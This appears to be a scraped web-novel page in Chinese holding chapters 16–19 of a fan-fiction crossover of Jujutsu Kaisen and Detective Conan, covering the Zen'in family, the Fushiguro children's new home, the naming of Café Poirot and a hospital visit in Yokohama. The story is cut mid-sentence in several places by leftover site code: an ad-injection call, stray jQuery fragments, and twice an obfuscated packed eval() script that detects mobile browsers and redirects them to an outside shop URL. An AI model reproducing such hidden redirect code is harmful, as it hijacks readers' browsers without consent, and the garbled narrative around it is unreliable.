禅院慎一冷笑,两人对视,彼此眼底的情绪一览无余,看清对方神色后,禅院直哉怔住,彻底没了声响。 见警告有用,对方终于畏缩,禅院慎一松开手,禅院直哉跌跪下去,黑发男人没有再多说,和身边人转身离开。 直到二人的身影彻底消失,禅院直哉仍在失神,五条悟蹲下来,饶有兴味的观察着黑发青年的煞白脸色,语气悠哉的火上浇油。 “哇,那伤原来是你捅的呀?” 白发青年笑嘻嘻的夸赞道: “真够胆。” 16. 新家。 七月末的夏天格外的热,炽热阳光斜着印入庭院,现在才上午十点,门外便已经蝉声阵阵,听的人心中烦躁。 禅院真依跪坐在门边,轻轻的拉开门,被门外阳光的亮度刺了一下,她眯起眼睛,期待的望着走廊阴影处。 很快,小姑娘便看见了她等待的人,禅院真希赤着脚跑过来,动作如猫般敏捷,步履很快但几乎没有声响。 同样留着短发的她看起来要开朗的多,相当快速的窜进门后把门拉上,将手中消暑的冰棍塞给妹妹。 “姐姐。”禅院真希并不着急于一时的口腹之欲,她下意识的抱住自己的双生姐姐,顾不上闷热,轻轻的喊了一声。 “嗯。”禅院真希坐下,她接过禅院真依掰开递来另一半冰棒,在舌尖接触到冰凉时眯了眯眼:“刚才妈妈没有过来吗?” 禅院真依摇摇头:“没有,很忙。” “也对,祗园祭还没结束呢,要持续到八月。”禅院真希虽然才七岁,表达能力却超出同龄人许多,她算了下时间得出结论。 禅院家世代扎根于京都,即使并非普通人世家,但同样重视持续一个月的祗园祭,在这个月大多在外的禅院家人都会回来。 相对应的,京都咒术高专也会暂时性的停课一段时间,这就导致近半个月禅院主家其实有些乱糟糟的,很多年轻咒术师都回来了。 “那个……”禅院真依小口小口的吃着冰棍,突然想到了什么:“姐姐,那天打的很激烈吗?听说有人残废了。” “嗯,就是那家伙打的。”禅院真希点点头:“但是有好消息哦,之前跟我约定的慎一哥已经有空了。” 禅院真希边说着,小心把贴身藏着的手机拿出,是极其小巧的按键型号,她有些笨拙的操作着,打开了短信箱。 哪怕是不受重视的女孩,天赋也被定义为吊车尾,但两姐妹还是有受到过最基础的教育,能够认识绝大部分的字。 不过手机这种东西是不可能给她们配备的,两个小姑娘现在常在身上随身携带的手机还是禅院慎一送的小礼物。 禅院真希高兴的把刚收到的邮件拿给妹妹看,禅院真依垂眼读着,还没有看完,便听见外面传来了喧闹声。 两人的注意力被吸引过去,对视一眼后偷偷拉开门缝,不远处几人正在争执,隐约能够听到人名。 “直哉少爷……” 禅院真希正想看的更清楚些,却突然发现站在几人正中间的黑发青年冷冷的瞥向了这边,她一惊,赶紧拉上门。 禅院直哉身边的人正是前几天在训练场和他起冲突的那几位,能看出这段时间过的凄惨,甚至走投无路来求他。 没有眼色的东西,这么喜欢在别人心情不好的时候上前凑……求他又有什么用呢?残疾和暗伤难道就能痊愈吗? 禅院直哉丝毫没有下手过重的自觉,他有些烦躁的挥挥手示意几人快滚,甚至懒得去深究这几人眼中的恨意。 无所谓,这些玩意成不了气候,果然父亲还是站在自己这边的……禅院直哉被围的心烦,但想到这点后,差到离谱的心情恢复些许。 正好此时一位女仆走来,低眉顺眼的请他前往家主庭院:“直哉少爷,家主大人喊您过去。” “知道了。” 禅院直哉感受到窥探的目光消失,他收回视线,没有在管身边嘈杂着哀求自己的杂碎们,跟着女仆大步离开。 随着木屐在地板上走动的声音远去,禅院真希又等了近一分钟,才缓缓拉开门,众人已经散去,仅留下满庭院的蝉声。 “姐姐。”禅院真依又低低喊了一声,她抱住禅院真希,头依恋的靠在姐姐的肩膀:“……一定要这样吗?” “我们跟那些人没有区别……”禅院真希正想说些什么,敏锐的耳朵再次察觉到有人靠近的脚步声。 刚飞快的将一切痕迹都藏好,几秒后身穿传统和服的女性便出现在两姐妹面前,来者正是两姐妹的亲生母亲。 忙碌和忧郁使得女人看起来有些憔悴,她垂下眼打量自己的两个女儿,敏锐目光自然捕捉到了旁边垃圾桶内的不妥。 她站在那里,没有靠近也没有远离,嘴唇微动似乎想说些什么,但最后还是仅说出了简单的告诫: “……不要乱跑。” ———— 某小学门口。 正值放学时分,校门口人群熙熙攘攘,孩子的欢笑声和各类车辆发出的杂音混合在一起,不同身高的小豆丁涌出校门。 伏黑惠背着书包混在人群中,冷脸看着站在校门口相当显眼的两个男人,突然很想扭头就走。 很可惜,以某两个大人的眼力,相当轻松的便认出了在人群中有些显眼的小海胆头,甚至还找到了此行的另一位目标。 见两人向自己招手,在被更多人注意前,伏黑惠低着头,如同那边是受刑台一样缓缓挪过去,抗拒态度相当明显。 “怎么,生我的气?”禅院甚尔良好的自我感觉在看见儿子的表情后还是没有维持下去,嘻嘻哈哈的揉了揉小海胆头。 “……没有。”伏黑惠回答,他的目光被另一个大人吸引,说的更准确些,是被对方左臂的残疾吸引。 “你就是津美纪吗?喊我小叔吧。”禅院慎一看起来倒是比某人靠谱多了,穿着要更正式些,表情和善气质稳重。 不过残疾人的外形也没靠谱多少,成功引来两个孩子心疼的目光,禅院慎一装作没有察觉到这件事,等待小姑娘的答复。 “小叔好。”伏黑津美纪点头。 “小叔……哇!”礼貌如伏黑惠自然也喊了一声,只可惜还没说完便被禅院甚尔猛地举起来,整个人一惊。 被迫坐在自家老爸肩上的小海胆头下意识抱住了男人的头,手掌下是老爸大笑产生的震动,视野也开阔起来。 好多人头啊……不过天还挺蓝的。 一旁的学生抬头向上看,忍不住感慨怎么有人这么高,有的则是跃跃欲试,拉住了自己的家长,发出了羡慕的声音。 只可惜成为显眼包这件事对伏黑惠来说一点也不好,而且没看错的话,群里有好几个同班同学,正震撼的注视着自己。 在察觉到周围众人或是打趣或是羡慕的目光,伏黑惠闭上眼睛,选择逃避现实。 这福气谁爱要谁要啊! ———— “所以你入赘了?” 禅院慎一拿着两个孩子的学生证,在看清楚两个孩子的姓氏后下意识 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看向禅院甚尔,见他表情后立刻便反应过来。 还真入赘了。 按时间来算的话,应该都快一年了。 禅院慎一其实并不介意表兄隐瞒自己的生活状况,但身为学生家长,被老师狠狠注视的时候还是会有些汗流浃背。 目前跟禅院甚尔结婚的那位女性已经在几个月前扔下孩子离开,禅院甚尔又只留钱不着家,两个孩子一直有被学校老师帮助。 所以谴责的目光自然避免不掉。 毕竟哪有这样不负责任的家长啊,要不是两个孩子的自理能力真的很强,又懂事听话不乱跑,说不定就出了什么意外。 因为刚才和两个孩子简单沟通过,他们都愿意转学跟禅院慎一一起生活,所以现在正在办理转学手续。 面对老师们的训话,禅院慎一无话可说,乖乖低眉顺眼的听训,老老实实背下这个黑锅。 办完转学手续顺带吃了个午饭,两人带着孩子前往两个孩子目前的居所,早就联系好的搬家公司已经在楼下等候。 直到所有东西都搬上货车的后箱,伏黑姐弟才有了些许实感,比起留恋更多的是开启新生活的期待。 姐弟两人坐在后座,正趴在车窗上看路边的风景,禅院甚尔开车,在副驾驶的禅院慎一翻阅着姐弟二人至今的身份证明。 年龄差不多了,有空再去补一次疫苗,顺带做一次全身体检,学籍还是比较好迁移的,到时候直接把户口迁移到自己名下吧。 至于姓氏更没有改变的必要了,现在这个姓挺好听的,至少比禅院好些。 禅院慎一这么多年没有改过姓氏,也仅仅是因为用习惯了而已,再加上早年经历,对这个姓氏完全没有任何认同感。 除此之外,还要解决下禅院家那边的事情,是否要加入咒术界成为咒术师对现在的孩子来说太早,好好成长才是重中之重。 还有那两个小姑娘……看样子过段时间不得不去禅院家一趟了。 两个孩子上学的地方离东京不远,很快几人便回到了米花町,停好车后,禅院慎一领着几人进入刚买的住宅。 伏黑惠在整个过程中都比较沉默,但看见伏黑津美纪露出的笑容,神色不自觉的柔软下来,嘴角也勾起。 两人顺着楼梯走到二楼,脚步踩在木质楼梯上发出咚咚咚的声音,在身边大人鼓励的视线下推开了两扇分别写的他们名字的门。 简单布置过的房间采光很好,各种细微之处都能看出用心,床铺上的棉被柔软还散发着阳光的香气。 即便稳重如伏黑惠,也忍不住戳了戳,一旁的伏黑津美纪看见他的动作后效仿,捂嘴轻笑了起来。 “房间看好了吗?怎么样?”面对大人的关心,伏黑惠和伏黑津美纪点头,之后就被牵起手,一同下楼。 “走吧,还有不少东西要采购呢,你们想给房间再添些什么吗?” 伏黑惠打量着四周充满家居氛围的布置,耳畔传来温柔的问话。 客厅连接着后院,大把阳光穿过透明玻璃推拉门洒进客厅,头顶的风扇工作着,风吹的人懒洋洋。 黑发男孩终于彻底放松了下来。 这就是他们的新家了啊。 感觉还不错。 17. 差异。 “欸——” “到现在都没有想好咖啡厅的名字吗?” 工藤新一下午无事逛到咖啡厅,聊起咖啡厅尚且空荡荡的招牌,见禅院慎一依旧不慌不忙的样子,忍不住发出吐槽。 没记错的话,这家咖啡厅明天就要恢复营业吧,居然到现在都没有想好名字,也没有约人制作招牌,好松弛啊。 “没关系吧,有人会想的。”禅院慎一耸耸肩,走到烤箱边查看饼干和面包的制作进度,示意工藤新一向旁边看。 工藤新一扭过头,才发现角落里坐着两个小孩。 目前才上小学低年级的伏黑姐弟完美被椅背挡住,两人又都是安静性格,坐在角落里默默翻书,完全没有被工藤新一发现。 两个孩子面前的桌子上堆了好些本书,结合禅院慎一的发言,很明显他们但从书中找寻灵感,好决定给这个咖啡厅起什么名字。 “啊哈哈哈,不好意思啊。” 工藤新一自然也意识到自己忽略了姐弟俩。有些局促的挠挠头,不过他本就不是拘谨的性格,很快又找了话题。 跟两个孩子简单互相介绍后,工藤新一忍不住发出感慨:“慎一哥,你侄子跟你长的还蛮像的耶,就是眼尾不一样。” 工藤新一热爱推理多年养成的习惯促使他仔细观察了一番,有些惊讶的发现,两个孩子的阅读量和识字能力都超出平均水平。 除此之外,还相当有品位。 因为堆成一堆的书籍中有一本相当显眼,至少对工藤新一来说相当显眼的福尔摩斯探案集,这一点让他对两个孩子越发好感。 “反正我对于名字无所谓,你们起名就好了。”禅院慎一端着餐盘,把给姐弟俩准备的下午茶端上桌。 虽然姐弟俩有好好照顾自己,但总归还是有些营养不达标,禅院慎一目前正严格按照医嘱给他们补充维生素,并保持少食多餐。 因客人的造访,他又多添了一份放到少年面前。工藤新一没有客气。说了一声谢谢后喜滋滋的端起他那份下午茶。 当然,和两个孩子的果汁不同,工藤新一的杯子里装的是咖啡,他抿了一口香醇的咖啡后,忍不住慰叹一声。 黑发男人将餐盘放回吧台,顺带解下腰间围裙,整个人看起来格外居家,带着一身饼干香气,禅院慎一坐到两个孩子旁。 “话说,要不就叫福尔摩斯咖啡厅吧。”工藤新一咬了口饼干,笑嘻嘻的提议道。 “你还真是福尔摩斯的狂热粉丝。”禅院慎一打趣道:“这位平成时代的福尔摩斯?” “感觉也不是不可以,如果工藤哥哥愿意来给店里当招牌的话。”伏黑津美纪想了想,相当务实的提议道。 “工藤哥哥,我班同学有讨论过你哦,如果让高中生侦探作为常驻角色的话,一定能够为咖啡厅打响人气吧。” “嘿嘿是吗,是比较擅长推理罢了。” 伏黑惠瞥了眼某个被自家姐姐简单哄两句就已经傻笑的像个笨蛋的大侦探,慢悠悠的将手中果汁喝完。 放下杯子后,他拽了拽自家叔叔的衣服:“这个。” “惠喜欢这个名字吗。”禅院慎一凑过去,相当精准的拼出了这个词:“波洛?” “嗯,我觉得这个名字好听。”伏黑惠点头。 “总觉得听过呢。” 工藤新一听见这个名字后感到有些耳熟。他回忆了一番,很快便从记忆角落里拽出了这个词的意义。 “没记错的话,这个名字也是侦探,不过是小说里面的。”工藤新一科普道。 “感觉也不错,是个好名字呢。”伏黑津美纪点点头:“很朗朗上口诶。” “那就这个名字吧。刚好今天可以约好广告牌,过两天直接挂在店门上就行了,不耽误正常开业的。”禅院慎一敲定。 见自己提到的名字被大家喜欢,稳重如伏黑惠也弯了弯眼睛,正巧此时,门口风铃响起,几人下意识向那边看去。 其中工藤新一最为期待。 毕竟现在可不是营业时间,能够进来的只有熟人,很大可能正是他想见到的那一位—— 结果却等来了某位大叔。 穿着蓝色西服的高个子侦探推门而入,察觉到大家的目光后,有些不好意思的挠挠头:“哈哈,打扰了吗?” “今天小兰和朋友一起出去吃饭了,本来打算买点东西解决晚饭的,但路过的时候闻到了饼干香味。” 禅院慎一自然听懂了毛利小五郎的未尽之言,走到吧台也为他取了一份饼干和咖啡。 毛利小五郎喜滋滋的笑纳了,相当嘴甜的夸了几句伏黑姐弟:“禅院兄弟麻烦你了,这是你家孩子吗?长的都一表人才啊。” 夸完后毛利小五郎才注意到工藤新一:“诶,新一小子也在啊。” 当然在啦,都再好一会儿了。 工藤新一在心中吐槽,但对方毕竟是小兰的爸爸,不太敢露在面上,还是扬起一个阳光笑容:“好巧啊,大叔。” “我也是来蹭晚饭的。” 此言一出,两人都发出嘿嘿笑声。 禅院慎一被这两个莫名其妙相当合拍的大小侦探逗笑,算了算冰箱库存完全够应付几人晚饭后,他走向后厨。 咖啡厅的名字也算是敲定下来了。 禅院慎一拿起手机给广告定制商家打完电话,约定好过几天去取招牌后,脑内突然想起了系统的机械声。 【滴滴!】 【恭喜您解锁全新合理度地点:毛利侦探事务所,波洛咖啡厅。合理度地图已点亮四处,世界合理度达到36%,请查收!】 【滴滴!合理度地点盘星教教会先已收缴,盘星教摧毁,合理处地图已点亮五处世界合理度37%,请查收!】 后面一条信息禅院慎一倒没有很意外,毕竟不少信息都是他发给公安方的,让他在意的反而是第一条。 自家咖啡厅居然是很重要的地方? 禅院慎一感觉有些微妙,但联想到这个咖啡厅是他遇见工藤新一这个世界之子的地方,很快便释然了。 不过有一点可以确定,自家咖啡厅日后应该会非常热闹,会发生不少特别的事情。 总之,走一步看一步吧。 ———— 夕阳,河畔。 身穿黑色T恤衫的男子靠在桥边吸烟,烟雾在他的指尖环绕,但他却并不着急续下一口,很明显在等人。 很快,熟悉的声音在他身边响起:“有两个消息,一好一坏,你想先听哪个?” “坏的。” 禅院甚尔抖抖烟灰,灰烬随着河畔微风慢慢下落,他眯起眼睛又吸一口。 “盘星教没了。”来者正是孔时雨,他走到禅院甚尔身边也点了一根烟,不慌不忙的说着最新消息:“警方和咒术高层动的手。” “或者说,从情报来源上看,大概率是你表弟给的情报。”孔时雨严谨补充道。 “哦。”禅院甚尔对此不太关心,他选择开启下一个话题:“那好消息呢?” “好消息是钱没事,只是洗起来更麻烦了。”孔时雨耸耸肩,把早就准备好的银行卡甩给身边人,被对方精准接住。 交接完毕的两人没有急着离开,而是在桥边慢悠悠的吸烟,直到手中这根燃尽,两个人都没有打算起身的迹象。 而是默契的又点一根。 “看样子走上正轨了?”孔时雨深吸一口后打趣道。 禅院甚尔瞥了他一眼,神色还是恹恹:“怎么,不是说对我这种男人的私生活一点兴趣都没有吗?” “这句话我确实说过,不过我更多是在关心你表弟和儿子吧。”孔时雨轻笑: “我记得慎一磨的咖啡和他的酒调的一样好,日后有空去喝一杯好了。” “这种事情随你。” 禅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13980851|148116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院甚尔懒洋洋的望着远处的夕阳。直到余晖彻底洒在河面上,看着这样的场景,他莫名的想起了一些往事。 “其实慎一并不是禅院家的人。” 孔时雨感到有些意外,他挑眉,相当有眼色的保持沉默,继续倾听着这位天予暴君少见的感性陈述。 “他是我母亲那边的亲戚,只是少年时期寄养在禅院家,便随了我的姓氏。”禅院甚尔说完这句话后便不再开口,继续默默的吸着烟。 面对老友往事孔时雨自然听的很起劲,但等了半天,都没有等到后续,他有些疑惑的看向禅院甚尔,示意他说下一段。 禅院甚尔望着夕阳,再次开口,但冒出的却一段没头没尾的点评:“你不觉得慎一很适合当一个世俗意义上的好人吗?” 没有管身边人疑惑的视线,禅院甚尔接着说道:“那家伙喜欢规则,善于遵守规范,乐于去维护秩序。” “但其实啊,他曾经是个一直到15岁都没有说过一句话的怪胎,当时还以为他是个哑巴,后来声带检查却是正常的。” 孔时雨自然清楚禅院甚尔在说谁,正因如此才有些惊讶。身边人的描述与他的观察是吻合的,禅院慎一确实正常的不像话。 而且奇怪出身和不适成长都没有阻碍他社会化,对方就这么正常的融入社会,人情世故样样精通,极其的圆滑。 完全想不出来对方曾经是个闷葫芦。 至少对孔时雨这个中介来说,禅院慎一对熟人包容且通情达理的性格,使两人的合作体验很不错。 孔时雨自然是想听更多,但禅院甚尔彻底闭嘴,只是闷头吸烟,他盯着洒满夕阳而显得金灿灿的河面发呆。 乐此不彼混同于世间庸碌之人中,用规则约束自己的力量,把平凡当做一种幸福,这么做不太可笑了吗? 但或许,这样选择才是在这个世界上长久生存的正确之道,远离欲求和纷争,不再执着于用苛刻要求来证明自己—— 禅院甚尔回想起自家表弟当年的模样,记忆中那张无表情的脸,慢慢被前几日陪着两个孩子采购时的温柔笑意覆盖。 想到这里,发妻的笑颜突然在脑中浮现,黑发男人没来由的感受到些许酸涩,他抖了抖烟灰,浅灰色灰烬随风飘落。 真是时过境迁啊。 “不过话说回来,把孩子扔给慎一,你大概也能放心了吧?” “没错,我可没有耐心去养小孩子。”禅院甚尔爽快点头:“有什么大事再找我吧。” 禅院甚尔相当没良心的说着,无意间透露着因有人兜底而毫无自觉的任性感,让孔时雨在旁边忍不住摇头。 能摊上这个混世魔头,看样子禅院慎一上辈子大概做了不少孽。 禅院甚尔没有去管身边人的腹诽,他继续盯着远处的夕阳,夕阳光映入双眸,埋在记忆更深处的一些往事被回想起来。 果然自己还是个世间俗人啊,这么多年过去,依旧心心念念的试图得到认同——禅院甚尔想着,直到警笛声打断了他的追忆。 站在不远处的巡警元气十足的大声喊着:“喂,请不要把烟灰抖进河里啊,会污染河水的,这种行为是要罚款的哦——” 巡警骑着摩托直接停在他俩身边,熟练的从胸前掏出本子,打算给这两个毫无公德心的家伙来张罚单:“你们两个叫什么名字?” 禅院甚尔翻了个白眼,仿佛充耳未闻般,将手中最后一点烟灰抖进河内。 没有顾及巡警的大呼小叫,这位天予暴君以肉眼难以捕捉的速度直接脚底抹油,仅留下孔时雨一人在桥上凌乱。 好吧。还真是这家伙的风格。 被留在原地的孔时雨嘴角直抽,在交警唠唠叨叨的劝诫下,老实认错,并默默的交了两份罚款。 自己当年的决定果然没有任何问题,就不应该跟这家伙有任何工作以外的牵连。 太不靠谱了吧,这家伙! 18. 日程。 禅院家。 目前正值日本三大祭的祇园祭下旬,身为老牌咒术世家,扎根京都千年的禅院家自然上下忙碌,各司其职。 禅院直哉身为家主目前最有出息的子嗣,这段时间自然也难免繁忙,黑发青年需身穿华贵的纹付羽织袴,跪坐在祠堂正中央祈福。 繁琐的本日祭祀完成后,晚上会在主厅设宴,禅院家嫡系和实力强劲的庶族会出席,进行无聊的高谈阔论。 禅院直哉坐在父亲禅院直昆人右侧下座,他胃口不佳,面前饭菜几乎没动,只是神色恹恹的小酌着。 宴会人多难免喧闹,因为是家宴,整个氛围并不严肃,又因在祭祀期间,宴会并无女人作陪,众人只能谈天论地作为消遣。 近期的谈资正包括星浆体所导致的一系列连锁事件,不过众人聊的最多,也最幸灾乐祸的,还是东京高专武器库被搬空一事。 “真狠啊,特级和一级武器全部消失,哪怕那边的五条家六眼神子试图捂嘴,在哪里捂得住?东京高专那边看守不力都传遍了。” “可不是,小道消息说是天元的问题,大概率是拿这些武器进行交换——毕竟,能够修复天元的东西得是什么样的灵丹妙药。” “哈哈,要是有这种东西真想尝一尝呢。” “你想的倒美,哪能轮得到你?” “啊哈哈哈哈哈。” 身为某种意义上的知情者,禅院直哉手托下巴没有说话,他不耐烦与他人聊天,便又倒了杯清酒一饮而尽。 而聊天的好事者们,其实也都知道禅院直哉当时在场,但默契的没有去招惹很明显心情不佳的某人。 毕竟踹断同胞兄弟的腿骨后,他仍旧能够不慌不忙的坐在这里小酌,甚至没有受到任何的处罚与警告。 看样子有些事情算是敲定了。 没有人愿意在这种情况下还毫无眼色的充当出头鸟,就算心有不满,也都不敢表露出分毫。 聊完所谓的正事后,众人又开始说起了美酒和女人,即便穿着光鲜亮丽,但语言用词依旧难免粗鄙。 禅院直哉只觉得这些话题庸俗愚蠢,不耐烦再听,黑发青年起身,向坐在上首父亲示意后便径直离开宴会。 进行了一天的祭祀后,身上衣物已经彻底熏入香火味道,仅闻一闻就让人头昏脑胀,此时晚风吹过让禅院直哉好受不少。 现在正是一年中白天最长的时候,虽是傍晚,但天依旧泛白,禅院直哉庭院走到池塘边,见落叶顺风落入池塘,激起一片涟漪。 禅院直哉扶着假山石,待水面再次恢复宁静,便映出黑发青年的俊秀面孔,姣好面容此刻表情却无比阴沉。 他盯着水面,没来由的想起往事。 又或者说,在这栋老宅里,无论注视着哪个角落,大脑都会敏锐的从记忆中拽出早已落灰的片段—— 而那时的水面,会映出两个人。 再次回忆起前段时间的种种场景,无论是在酒吧碰面以及东京偶遇时的故意无视,还有前几日不留情面的告诫。 特别是黑发男人冰冷的目光,居然并非禅院直哉预想中的愤怒与厌恶,更多的是一种毫不在意的平静…… 而禅院直哉可以接受如惊涛骇浪般深刻恨意,却无法容忍那种平静的审视。 为什么?凭什么? ……他宁愿他恨他。 毕竟,那至少也算是一种在意,能够证明他依旧在对方心中占有一席之地,即便并不是什么好位置。 总比现在好…… 无论是那天酒吧里看见男人带着笑意与金发女人耳鬓厮磨的嫉妒愤怒,还是这次努力服软却直接被无视的无措恐惧,乃至于东京街头偶遇的紧张失落,都在无形中扼住禅院直哉的咽喉。 黑发青年只觉喉间干涩。 对啊,他那时做错了,大错特错。 但那又怎么了,有问题的明明是…… 禅院直哉越发烦躁,手微微用力从山石上掰下小块,猛地扔进池塘,激起的水花打破了水面宁静。 黑发青年死死盯着水面,直到涟漪不再,没有顾及路过仆人畏惧的神色,他面如冰霜,转身拂袖而去。 ———— “您决定好要剪什么发型了吗?” 理发师感受着这位深夜造访的客人身边的低气压,他有些头疼,但确实已经很晚了,还是没忍住出声询问。 早知道今天就早点关门了! 别的不说,这一身华贵的和式礼服便足够令人浮想联翩……再配合上这个时间点,是哪家的大少爷出门散心吗? 禅院直哉充耳未闻,直接无视身边人的问询,他与镜子里的自己对视着。 镜子里的黑发青年生了一张好皮囊,眉毛偏细鼻梁高挺,丹凤眼眼尾上扬,琥珀色的双眸染着阴鸷,却被精致感中和。 少年与成年之间的年岁使他并未完全脱去稚气成长为男人,但举手投足之间全是老派家族的气度,无论是优点还是陋习。 得益于母亲的基因,禅院直哉漂亮却不女气,在美人辈出的禅院家也能拔得头筹,冷眼看人时有种不自觉的艳丽。 禅院直哉盯着镜子,最后目光久久留在自己的黑发上,今天的他带了墨绿色耳钉,莫名让他觉得黑发不太配。 借着镜子的映射,他看到背后墙上贴着的大片海报,其中有一张极其的眼熟,正是那日在东京街头看见的金发女郎。 看样子这女人是挺有名的明星啊,知名度还挺广,京都这边的理发店居然也会选择张贴她的海报。 “如果不着急剪发的话,也可以看看我们店里的染发套餐,先生您的发质很好,染发效果应该会非常不错。” 禅院直哉听着身边人的推销,少见的没有感到烦躁,鬼使神差般,他听见自己这样问道:“你有什么推荐的颜色吗?” “金色,或者浅金色怎么样?” “先生您的皮肤很白,即使染了金色也不会显黑。”理发师说起专业还是侃侃而谈的: “我们店有全日本最温和的染色剂,多层染发保证不会掉色,可以看您需求调整颜色深度,染发速度很快——” “……金色太丑了。” 禅院直哉回想起那日专门跑到自己庭院里挑衅的金发女人,一时间恨屋及乌,语气嫌恶的点评道。 “但金色真的很衬您!如果您觉得金色太土,其实有一种非常新潮的染色方法,您听过挑染吗?” 能看出来理发师非常自信于自己的审美,他拿起旁边的示例图册,翻到最新的一页,图册上的美女染着黑白挑染,看起来格外时尚。 但坐在理发椅上的黑发青年一直都没有回复,理发师一时间进退两难,只好站在那里继续举着手中图册。 禅院直哉盯着图册,他沉默良久,直到理发师有些汗流浃背,疯狂反思自己到底哪里有说错后,黑发青年才缓缓点头。 “就这个。” ———— 某处,书房内。 一位头发胡子配色为三花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989752|148116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的中年男人站在书桌前,书桌上是一小片残页,奇异的是,纸的周围点点白光闪烁。 此人正是夏目漱石。 夏目漱石沉默的思考着,直到确认脑中预想逻辑无误,他慎重的拿起笔,试图在纸上书写下必定会在未来发生的事件内容。 但很明显,书写的过程并不顺利,很多种发展都被纸张本身无情否决,以至于执笔者只能在脑中不断更改想法和预期。 随着书写的字数变多,冷汗从夏目漱石的额头流下,而他本人却丝毫不觉,继续逐字斟酌着落笔的内容。 到最后笔已经不听他的使唤,脱离控制自动书写起来。中年男人只能默默注视着笔尖在纸上滑动留下痕迹。 最后,他得到了一份终稿。 “【书】及其所有者,不日将因往事前往横滨,偶遇老友且留下线索后离开,不久后会再次回到横滨,改变织田作之助的死亡结局,并与其一同加入武装侦探社。” 武装侦探社? 好耳熟的名字,没记错的话,正是自己那个大弟子想要成立的组织,意识到这点后,夏目漱石心情复杂。 别的人不说,但自家大弟子和他目前照顾的推理天才夏目漱石还是很了解的,这两个人的三观行事绝对出不了什么差错。 不愧是【书】,即便只是其中一片残页,虽然无法像完全体那般通过书写便能改变未来,也能预言日后发展。 唯一可惜的是,信息还是太笼统了,远达不到夏目漱石打算找回保护书的目的。 不过,这也算是书的自我保护机制,虽然现在无法确定书目前位置,但只要知道祂没落入贪婪邪恶之人手中,便已经够了。 话说回来,织田作之助这个名字有点耳熟啊,夏目漱石没有费什么劲便将名字与人对应起来。 那位面无表情的青年杀手出现在男人脑中,勾起了他的昔日回忆,没记错的话,还送过他一本自己写的小说呢。 居然救下了这个人吗?也不错。 而且那位青年杀手的同伴也很特别,是一位流落在外的天予束缚,当年夏目漱石权衡之后为他写了一封警校推荐信。 既然日后织田作之助会加入武装侦探社,那么事情大概率不会变得很糟糕,也能通过他的经历推断【书】在哪里。 而那位年轻杀手若是能隶属于武装侦探社,也不失为一个好归宿,这些信息比预想中好很多,夏目漱石松了口气。 总之,再耐心等待一番吧—— 他一定会守护好心爱城市的安宁。 同一时间,百里外,东京。 某个风格简约的房间内,放置在桌上的笔记本电脑屏幕突然亮起,一封邮件提醒出现在电脑屏幕上。 但因无人及时查看,最后屏幕回归待机。 电脑的所有者过了好一会才回到房间,来者身材健壮穿着睡衣,左小臂空荡荡的,手里还拿着本童话故事书。 此人正是禅院慎一,刚陪着伏黑姐弟读完睡前故事,将两个孩子哄睡后回到房间。 他随手将童话书放在桌上,不小心碰到了鼠标。 笔记本电脑亮屏,一封崭新的邮件提醒映入黑发男人眼帘,点开后发件人名称为零,邮件内容简明扼要。 拜托他去探望在横滨住院的警校教官啊,等给两个孩子办好入学手续再去吧。 禅院慎一看完邮件后随手删掉,他合上屏幕后拿起笔,在旁边的日程日历上写下了三天后的新增日程—— 横滨,探病。 19. 杀意。 横滨某医院。 下午四点半。 禅院慎一捧着花走进医院,呼吸间满是消毒水的气味,顺着标识来到目标病房,敲门后听见门内应答,他推门而入。 病房是单人间,除了躺在床上的病人外,还有一位看护家属,病人很明显认出了禅院慎一,相当惊喜的招呼着。 “真是好久不见了啊,禅院。”曾在警校担任教官一职的佐藤健笑得爽朗,赶紧示意禅院慎一坐下。 禅院慎一没有客气,向一旁的师娘点头示意后,他将手中花束摆放在床头柜上,坐下来和昔日恩师叙旧。 没错,他是来探病的。 前几日收到的那封邮件正是警校同学降谷零发出的,尚且还在当卧底的他并不方便出面,只能拜托朋友带他那份一起去探望教官。 这种事情禅院慎一自然不会拒绝,将伏黑姐弟暂时拜托给毛利家后便来到横滨探病。 而佐藤健也是少数知情禅院慎一曾前往组织卧底的人之一,再加上多年师生之情,看见禅院慎一的胳膊大为心疼了一番。 两人聊了好一会儿,直到佐藤健因为身体尚未康复而体力不支需要休息才停下,禅院慎一不再打扰起身告别。 住院部在高层,禅院慎一顺着走廊走向楼梯,不远处正是大片玻璃窗,从他的角度,能够清晰看见横滨中心的五座大楼。 横滨这些年也变了挺多。 离开禅院家后,禅院慎一辗转过很多地方,也曾来横滨呆过一段时间,认识了不少人,甚至在此地遇见了去警校学习的契机。 因为想着事情,禅院慎一有些心不在焉,但还是察觉到了向自己迎面走来的人,做出了退让的行动。 他退让一步,但没想到对方的动作幅度比预想中更大,两人还是碰上了,禅院慎一只好伸手扶稳这位抱着孩童的护士。 有些出于礼貌,黑发男人关切的问了一声:“还好吗,有什么需要我帮忙的?” “啊,谢谢……没事的。”护士神情有些恍惚,下意识将怀中孩子抱得更紧,她低声道谢:“麻烦您了。” 出于曾经的职业习惯,禅院慎一上下打量了一番护士,毕竟这样慌张必有蹊跷,不过,对方出乎意料的正常。 身上护士服合身,胸前有写着名字的铭牌,做工与其他医护人员的铭牌相同,孩子看起来大概五岁,看样子是伤到腿了。 确认这几个细节后禅院慎一收回视线。 